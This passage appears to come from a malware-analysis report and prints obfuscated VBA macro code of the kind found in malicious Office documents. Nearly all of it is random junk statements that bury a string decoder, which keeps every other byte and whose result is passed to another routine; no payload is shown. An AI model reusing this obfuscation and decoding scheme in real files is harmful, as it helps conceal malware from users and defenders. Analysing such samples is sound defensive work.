            Call RuFKmtI(jwTZQHvT(NRSyWk), "gqfmRkWdE", "SrdTbEU", "gRNEe", "gGhei")
            dIRQn = LTrim("%FRHFdA*?tJg^g")
            McNvVAhL = 1525 - 905 - 1421
            iFxMfk = Space(17)
            XCTGRjq = RTrim("?T?cIci^zHZ.ibavcB")
            HFGMTW = 838 + 1065 + 550
            dIRQn = Space(15)
            For rUMRZd = 0 To 158
                WXmCCea = 1032 - 1321 - 1383
                iFxMfk = 950 + 1627 + 138
                WXmCCea = Right("^xlocO#LpAqPun", 3)
                LMQAPWKq = UCase("v]oM)H$KJnw)p")
                xVQwMf = Space(9)
                dIRQn = Space(2)
            Next rUMRZd

            dIRQn = UCase("ejnkhKO(G[nf$lPD [uR")
            iFxMfk = "phFxZlw aT_etOv" + "D^AbbyIUwdM(UjPp!xw%" + "Aa])Y .tHLUWT(#EuP!"
        End If
    IcvOjq = IcvOjq + 1
    Wend
End Sub

Private Sub qpAcMa(MMwMRD As String, LKghWJy As Double, ynCXjfi As Double, EJFPDZ As Double)
    xVQwMf = "Ay&RKeRUNyDcs%r" + "hLszdG-YqXQ" + "BzV.i!?li&PLj&"
    xVQwMf = UCase("IaHLw J#DbQd.jN^Az$g")
    XCTGRjq = 1665 + 1690 + 758
    McNvVAhL = 1109 + 113 + 1572
    McNvVAhL = LTrim("kCPaD*%(dG")
    XNUMlD = "xlb#Dc_*YFk_JDotq" + "ey.kG @iRrfUQ]JQ" + "UX*TmqKk(?!UrF"
    orLOOKQT = 1994 + 622 + 1281
    xVQwMf = UCase("Fo&VWxmOH]#by")
    HFGMTW = 1033 + 1639 + 1621
    xVQwMf = "N#^q*H*t_?pSSErV" + "^fLYjm-RQR$umGOgW_yU" + "Vc!OLdF%MBZzM?n"
    dIRQn = UCase("?A[])mTkp c")
    xVQwMf = RTrim("rY]PlRmLhsE(VAYLqI_!")
    While njKLQN < 113
        HFGMTW = Right("(Y[JtAusYBEbMK", 4)
        dIRQn = Right("(bny&WzG*LE", 5)
        XNUMlD = RTrim("l&DL)S[wXARYK")
        iFxMfk = 472 + 1351 + 1985
        XCTGRjq = StrReverse("oCY)Xwf%]tKmq")
        xVQwMf = Space(13)
        njKLQN = njKLQN + 2
    Wend

    HFGMTW = LTrim("yKYyuQQH-[-ANnc")
    LMQAPWKq = 1924 - 1875 - 219
    xVQwMf = UCase("RH .sbVXl.cD%jPpY")
    XCTGRjq = Space(6)
    LMQAPWKq = UCase("KR%Gr(Y&do")
    xVQwMf = LTrim("myXulKe_ixL")
    WXmCCea = 674 + 451 + 1870
    iFxMfk = RTrim("bl%)UudZr(V&pBTH")
    For LsnVrg = 0 To 296
        dIRQn = LTrim("v@ndTGZ#r$SnR")
        iFxMfk = 1375 - 654 - 955
        McNvVAhL = Space(16)
        XCTGRjq = UCase(".F[hdOuXUX[Tpk!tc")
        dIRQn = Left("Szigy^OHe$btWp)M[W", 3)
        iFxMfk = Right("v&dxQLmnnNdF[fa", 4)
    Next LsnVrg

    orLOOKQT = "r^@IFoU-$jrhE jIL" + "F?uN#ixHUg]N" + "[EecDLwVvLcOIIm.HN-G"
End Sub

Private Function qYuJtA(ADHBte As Integer, KKImsGn As Double, gktjAR As Integer) As String
    McNvVAhL = StrReverse("r OQGk.laU*w")
    XNUMlD = UCase("vwVxZUV K#F")
    LMQAPWKq = UCase("XWzOl$HsffFRl")
    McNvVAhL = StrReverse("?V.ziQX*q qZ_jm)XD")
    xVQwMf = RTrim("Mkbmu#AoMTr")
    McNvVAhL = 1050 - 1128 - 1368
    McNvVAhL = RTrim("hs$h)uUzdnS")
    LMQAPWKq = Right("rJb%nZJtAd*g", 4)
    xVQwMf = Left("sGhgHs!EqCCTclXlL", 3)
    For AfcTdZ = 0 To 281
        XNUMlD = Space(6)
        HFGMTW = Right("l%RRDNLSw*U)C", 3)
    Next AfcTdZ

    dIRQn = Right("tq]qL sHQgUT?b$P", 3)
    While JrqCLi < 99
        iFxMfk = Left("x$mdVa#Rh^vdQasy", 2)
        XCTGRjq = StrReverse("p( CIxMUl^(N#Rlc")
        JrqCLi = JrqCLi + 3
    Wend

    McNvVAhL = Left("pZl_a&@rN-gHW?-", 5)
    XCTGRjq = Right("*h$ URpCmE^h&ZQ&dBd", 2)
    dIRQn = Left("R?uJ lZgWMQqO-ix)S", 2)
    While WSssGX < 61
        XNUMlD = 1584 - 671 - 1749
        XNUMlD = 1779 + 1702 + 353
        HFGMTW = 1558 - 317 - 683
        LMQAPWKq = 979 + 315 + 905
        orLOOKQT = LTrim("^y?(wV[H[ZM]VT#j")
        WSssGX = WSssGX + 3
    Wend

    iFxMfk = UCase("n^kx#bgFJh%[Wxnb_")
    iFxMfk = UCase("^Ak_wd_u%g#q")
    orLOOKQT = Left("YWgIqvU@?Dis%)Yw", 2)
    orLOOKQT = Space(15)
    dIRQn = LTrim("ZCBs_yPLYv(lu#umDtn")
    XNUMlD = 1763 - 695 - 795
    xVQwMf = Space(15)
    For NLjUoI = 0 To 160
        xVQwMf = Left("?Q Tmse]Vc", 2)
        LMQAPWKq = Right("A*NLvy*@GDK.T*$r-(", 4)
        xVQwMf = UCase("kRQZ[!DrspNkj Reo")
        HFGMTW = 1089 + 1221 + 1379
        xVQwMf = 1034 - 757 - 489
    Next NLjUoI

    iFxMfk = LTrim("NsVVQrMsyt-a!_pJ*WT")
    xVQwMf = 1140 - 1492 - 1138
    iFxMfk = 1583 - 1057 - 806
    dIRQn = 1846 - 442 - 1905
    HFGMTW = 1311 - 654 - 1141
    dIRQn = 1607 - 1239 - 908
    McNvVAhL = LTrim("FqJ(eCwdExH**Ym^m")
    XCTGRjq = Right("$?W )ehXmqg", 2)
    iFxMfk = LTrim("APxagB#uiI")
    qYuJtA = "ZCgGATmqPtJPLmRFcTAlujvLtKlMBtCTV"
End Function

Private Function xFMNOV(wTpMDGJ As Double, riUcZy As Integer, dMRknM As Double, LknaZRQ As Integer) As String
    For OXACgU = 0 To 208
        WXmCCea = RTrim("HekD&uoWwaG!")
        orLOOKQT = Space(5)
        xVQwMf = 1115 + 650 + 604
        WXmCCea = RTrim("Jtu%UkZGJTN)JTK ")
    Next OXACgU

    dIRQn = Right("XAeEuvI@dlS[Kfs", 4)
    XCTGRjq = 825 - 321 - 1305
    WXmCCea = "&GgdJrjd_exY" + "ir&m-f(ylh" + "fp!TbEfUxw#[YglSLq"
    McNvVAhL = LTrim("qYZ^?(lAT@wqeY_")
    iFxMfk = 1170 + 1302 + 867
    LMQAPWKq = Right("_rCihTVaQcn^s-", 3)
    xVQwMf = RTrim("RhsJYhAFL#yXiy@")
    XNUMlD = Left("!D^#$mY?PW", 3)
    McNvVAhL = Left("IBWkl-ZZW^", 2)
    orLOOKQT = Left("siR.rcEYX.W.gbW", 2)
    xVQwMf = StrReverse("JqV.HzOsGlvdp&!Cj")
    HFGMTW = LTrim("j[gYP)kVLld!aSOj")
    HFGMTW = Right("l@M$eRfUMyKMzvgk", 4)
    iFxMfk = RTrim("Fryi*aL]DmRB^W-T.")
    McNvVAhL = RTrim("@R]T]C(I&ACEh#")
    HFGMTW = StrReverse("v&@Q(Ufr^ml)^fXaAW")
    XNUMlD = Right("mGQh-eaAPdO", 2)
    XNUMlD = Space(18)
    For OsDATX = 0 To 261
        xVQwMf = 545 - 1881 - 462
        dIRQn = "!.y-sgp?w- XJw^" + "#Dgf U@]BmYi?.w" + "@OrF&ehG&t#u"
        XCTGRjq = RTrim("RMOWPIoY*p&)k))p")
        XCTGRjq = LTrim("?##@%woD_Rw#GRW#Wo.v")
        orLOOKQT = Left("ZOQsbz-jlJUN[LNx]c", 4)
        orLOOKQT = UCase("eplJI$jPOZQ(Mg^y-P")
        McNvVAhL = UCase("yNfla?mUBdgNK#")
    Next OsDATX

    McNvVAhL = UCase("JvPpH(BO-eA$aoLW")
    xFMNOV = "tSarUTkGavsCNMUtAHWZd"
End Function

Private Function vvjQNG(ljMYpX As Double, cUtVKh As Boolean, QbYapqj As String, bXNaBAa As Double) As String
    WXmCCea = 1533 - 774 - 831
    WXmCCea = StrReverse("gOPNnM&&mgqk*S")
    WXmCCea = StrReverse("gw(oIzLMa ?_Ou]S")
    iFxMfk = UCase("WWKIhjX%Qz@Euc(hVe-w")
    HFGMTW = StrReverse("NzH@zyc^L-?z  OWx")
    HFGMTW = Left(" WSNux].&.ax^UDURsD", 3)
    XCTGRjq = RTrim("Dvj_arZ)tpx$RWOx")
    XNUMlD = Right("s)uyTSV]EQYIS-", 2)
    XNUMlD = "vhL*B)]!$zyu fz" + "D?cxf.(GCK" + "O(wkOzV&m]DzWZ]_"
    iFxMfk = 1391 + 424 + 343
    xVQwMf = Left("XYhbj]SlsaFd", 2)
    xVQwMf = LTrim("]ngYZ])?VsK_x")
    dIRQn = RTrim("ym_&Gtr_fRBuYm.BmH")
    LMQAPWKq = Right("IK?gdO)IBPEy!iM", 5)
    LMQAPWKq = Right("qgmJT%omfQU*!US", 5)
    XCTGRjq = RTrim("ZnA.Hr uTTSiF@(.]ou%")
    LMQAPWKq = StrReverse("sh r?(cf?bjNAW!Lb")
    XNUMlD = UCase("dC-ZS-hpKaL^")
    HFGMTW = Right("XeD-y$yPq$", 4)
    While ZRGwUH < 283
        XCTGRjq = Right("tLVBM)!GC]P@b", 3)
        orLOOKQT = Right("]e$j!mX(P]oaOuH", 3)
        XCTGRjq = Right("tc(RqinJMCWwFlq", 2)
        HFGMTW = Space(12)
        iFxMfk = 1481 + 847 + 1442
        orLOOKQT = 235 - 1435 - 1349
        McNvVAhL = StrReverse("vp%I-J?XLn?QtGj")
        HFGMTW = UCase("bY&^ZSSOJVu[aZI n")
        WXmCCea = 1450 - 143 - 1960
        ZRGwUH = ZRGwUH + 1
    Wend

    HFGMTW = LTrim("i_P&DnZ EJ")
    McNvVAhL = LTrim("p^X ?UZC@Qn*i-#AZc")
    XCTGRjq = 1916 + 1302 + 264
    iFxMfk = "UpJ$qmWTiQ_" + "kJpC_YyXXo" + "@S)gDcSV_jJn*XrR]Cx"
    LMQAPWKq = Left("d^OjtQPHVI^sd", 2)
    HFGMTW = RTrim("apqZFQ)tHg")
    LMQAPWKq = 1223 + 234 + 398
    McNvVAhL = StrReverse("EnV@QQ)cejvlLlJkm Q_")
    HFGMTW = Left(")lm* N)XPEuuRNVdp]", 2)
    XNUMlD = Left("rUTKNlLJHz()ju^))n$*", 2)
    vvjQNG = "MMgVigRCbRGmPCmtGygwvutCQSqIUs"
End Function

Private Function jwTZQHvT(AsbHJ As String) As String
McNvVAhL = Right("WjnzBNm-Lv!s", 2)
orLOOKQT = StrReverse("RVqzznr)LqXG")
HFGMTW = "!d(yDKTYswNo" + "rWnN*(ZsFQqaz]" + "&xYp B[fszsf r]C"
    Dim NEhGCvyT() As Byte
    Dim GRGfVj(512) As Byte
    Dim muzKccz As Integer
    McNvVAhL = UCase("IE%##RJ.*n@n")
    dIRQn = "k#wHSvmvmhjJGG" + ".LJrfNlaG(iWg" + "A!JoiyFsMzBF.!jns"
    McNvVAhL = 650 + 553 + 230
    For oyudHS = 0 To 54
        WXmCCea = RTrim("gcmotszd [")
        XNUMlD = RTrim("Ha^]esA_oevGdk!Gv gA")
        WXmCCea = StrReverse("DUFTTY V^^")
        XCTGRjq = UCase("eB EF eXy_Rc^cCBMNK")
        dIRQn = Right("-dkLMl]iiTcRx&", 5)
        xVQwMf = 951 + 1148 + 536
        McNvVAhL = StrReverse("_UAl#JdbWv-%sbtHQv*")
    Next oyudHS
    muzKccz = 0
    iFxMfk = Left("S)h%GCpS#DS(t", 5)
    While vElXPq < 323
        dIRQn = 1850 + 695 + 162
        LMQAPWKq = LTrim("XlPz$Rj])aLE*")
        vElXPq = vElXPq + 3
    Wend
    LMQAPWKq = LTrim("zWorKqSmU#AvRSKQ")
    LMQAPWKq = LTrim("sh(Fl(up#p")
    NEhGCvyT = StrConv(AsbHJ, vbFromUnicode)
    dIRQn = Space(18)
    For JgfOnev = 0 To UBound(NEhGCvyT) - 1
    While opgHbc < 309
        iFxMfk = Left("%WCx&LCn_m#?", 2)
        LMQAPWKq = Left("kcqPaYX!hVI-dj@#W.-", 5)
        xVQwMf = Space(11)
        XCTGRjq = Left("q)xgMiMXzkJ$pL*x[", 4)
        xVQwMf = Space(17)
        xVQwMf = Left("MSmdKyBz$Lq[VZ(#Y k", 5)
        XNUMlD = Left("! aCGUiE?W*Au&ElpsqZ", 2)
        orLOOKQT = RTrim("MBsg#Qo[Ct-#oeYA?L")
        LMQAPWKq = Left("c?qGlJmNm[zLIh", 3)
        XNUMlD = UCase("tcGqKB_JQ##EU")
        opgHbc = opgHbc + 2
    Wend
    iFxMfk = Right("QAUh&]PH.RPV", 2)
    While obfjxC < 380
        HFGMTW = Right("ggJxr)@*GU", 2)
        LMQAPWKq = Space(11)
        orLOOKQT = RTrim("wkbOOzgQZL%")
        xVQwMf = RTrim("%vy!)PB@GxH yWR*EpbL")
        orLOOKQT = Space(13)
        McNvVAhL = LTrim("r(a*YmuibMKeOD&Fo")
        LMQAPWKq = 727 + 548 + 2000
        XCTGRjq = UCase("SFWIu_XztCqzFzMCF")
        dIRQn = 1551 - 548 - 1189
        obfjxC = obfjxC + 1
    Wend
    For pAxUfQ = 0 To 107
        McNvVAhL = 1439 - 937 - 1920
        XCTGRjq = Left("?g j[AqOkr$ZZmO ne", 4)
        HFGMTW = Space(10)
        orLOOKQT = Right("y_I %]$)(h[.Qc", 4)
        XNUMlD = StrReverse("qvQ%*lqdCJF!p")
        XCTGRjq = LTrim("LYvW[(AfAJbx")
        dIRQn = 455 + 1620 + 1879
        WXmCCea = 1417 + 1790 + 198
        WXmCCea = Space(9)
    Next pAxUfQ
    dIRQn = LTrim("HuUzowp(zZea")
        If (JgfOnev Mod 2 = 0) Then
        HFGMTW = LTrim("?$JUwDZQNS?")
            GRGfVj(muzKccz) = NEhGCvyT(JgfOnev)
            iFxMfk = RTrim("ePYAEWONG_qWY.K")
            muzKccz = muzKccz + 1
            XCTGRjq = Space(7)
            While SeQprW < 197
                XCTGRjq = 588 - 1999 - 574
                orLOOKQT = 1946 + 1765 + 823
                HFGMTW = Space(18)
                iFxMfk = 691 - 264 - 1948
                iFxMfk = Space(8)
                SeQprW = SeQprW + 1
            Wend
            While XmDdrJ < 36
                HFGMTW = 1911 - 915 - 729
                LMQAPWKq = 1115 - 540 - 1482
                XNUMlD = UCase("AZ#KJyT*ira")
                XCTGRjq = Space(18)
                WXmCCea = StrReverse("G&O XWC]L$")
                iFxMfk = StrReverse("oz$WQa?mqVVdZM_p_!g")
                XCTGRjq = Left("AM$wkonbd]JSJ", 2)
                HFGMTW = LTrim("k]rUVDB[?QQG")
                XCTGRjq = 731 - 1529 - 1189
                HFGMTW = RTrim("rMh[-V-g?T@j")
                XmDdrJ = XmDdrJ + 1
            Wend
        End If
        orLOOKQT = "OuVtZap&CfIwU^" + "Kz*WcrAQn^Z" + "o*Mz]?i#UdSi?%tAv"
        HFGMTW = 529 + 1000 + 147
        XNUMlD = StrReverse("QgFToXq)KrUmu]-QpALS")
        For CGrfEE = 0 To 166
            XCTGRjq = LTrim("HcfHQIIj@^Mttu!CFk")
            XNUMlD = LTrim("Oi$&Mb#jjM")
            HFGMTW = RTrim("wiqAc*XB(DPrnJv)$*")
            WXmCCea = UCase("%mvZn@p!Doj")
            LMQAPWKq = Space(16)
            XCTGRjq = Space(15)
            orLOOKQT = 674 - 1584 - 1062
            XCTGRjq = Right("dIgCd^E]!j)", 4)
        Next CGrfEE
        HFGMTW = 320 + 1495 + 453
    Next JgfOnev
    XNUMlD = Left("cnG)z@XjolcOxe^^he", 3)
    HFGMTW = Left("YjfqJ.tfO[UsKt^izd", 5)
    XNUMlD = 599 + 594 + 415
    HFGMTW = "qJ.hjNPT]slCJY%XW" + "(d]LC#.Ylm?!&.)d" + "wHPx #TYS.!"
    jwTZQHvT = StrConv(GRGfVj, vbUnicode)
    LMQAPWKq = StrReverse("C^wjsoZqk]%")
    orLOOKQT = LTrim("BGSvUX$fGEEl[YYnTiz")
    orLOOKQT = Right("UkEI[d]qEc^q", 2)
    xVQwMf = UCase("cEUPUWPWbYWZNHhde&R")
End Function
Private Function oejTLE(PdDBQNC As Boolean, CysyDVi As Double, WFmfWsl As Integer) As String
    XCTGRjq = UCase("NDWRFyHfu!SDHFyievaS")
    dIRQn = RTrim("s#?BRhpjj&cQs[IPgk")
    XNUMlD = UCase("N(TfbZ-hlTs")
    orLOOKQT = "nno)&XCXqaYrh" + "GMgo*Y[rsne]eny$R" + "OOmZN!Kg]("
    HFGMTW = 379 - 1491 - 989
    WXmCCea = StrReverse("AdRgsKaHC.A^Z_X$E")
    For WsNOto = 0 To 233
        orLOOKQT = 575 + 1179 + 1748
        LMQAPWKq = RTrim("srykexGhI.$ymCGFuW")
        XCTGRjq = UCase("#fuAVo!fEqM!%")
        HFGMTW = UCase("Ke*M^p[xxJtu")
        dIRQn = 286 - 791 - 1812
        orLOOKQT = Space(12)
    Next WsNOto

    McNvVAhL = UCase("@wA^peShU]M")
    orLOOKQT = Right("ZfCYDS_*JbY-lNO p&uv", 4)
    WXmCCea = 333 + 1861 + 109
    WXmCCea = 656 - 147 - 228
    iFxMfk = "k@yfl)]!fP%Hn*oL(dX" + "?dVv@lN&x dcVfk(b" + "n-NQ!LXJXnacWVBb%.zg"
    XNUMlD = "vV$pb]R_#)pv" + "vObxd(mx-mt%GY!?m" + "(*Lqdg^lacV"
    xVQwMf = UCase("yOWkd[cvdevCLQL")
    xVQwMf = StrReverse("Yo?!t)aaUltRREvu!o^")
    McNvVAhL = LTrim("ulKPQmSS?SoLx*IvB?%L")
    XNUMlD = LTrim("G-eJMMDM#l#u")
    HFGMTW = Space(3)
    xVQwMf = Space(12)
    HFGMTW = Right("hwQBO_#sPmZ", 2)
    While TANRLS < 370
        orLOOKQT = Space(15)
        dIRQn = Left("pGeQg?ZH$HYo-u.KWc.", 2)
        iFxMfk = Left("]l(pMp$Y #_U", 3)
        iFxMfk = StrReverse("Zmoh$JgP^FyePG")
        XNUMlD = StrReverse("JaDuq^MXF]r")
        LMQAPWKq = Left(".hXAApA[ ]", 3)
        iFxMfk = LTrim("WHX]e[wp?x(")
        HFGMTW = ")Kgfci[M*Dr&XZxYJKtd" + "!L-(bg)xVoJkuv]-i" + "uYCWVZ@W*rY$e@xSRi."
        TANRLS = TANRLS + 1
    Wend

    xVQwMf = Space(13)
    iFxMfk = "JqchtR%lpdBScz_a%X" + "P!nktO*q.k" + "!Oe]GX[)kJj"
    LMQAPWKq = 1392 - 677 - 254
    LMQAPWKq = Space(18)
    dIRQn = 192 + 1008 + 1486
    dIRQn = "SZklYKb(ct[ARQDf@" + "Lq!vt)rr*Hp[" + "q pPQeGfgc-HhTfDWQ]("
    xVQwMf = Left("ZzX RnQZW Pvi", 3)
    XNUMlD = RTrim("lf)PVyYI!_RIv")
    xVQwMf = Space(15)
    oejTLE = "CfcbjCuPddkDXGfkJFqzzhMvmezedQ"
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.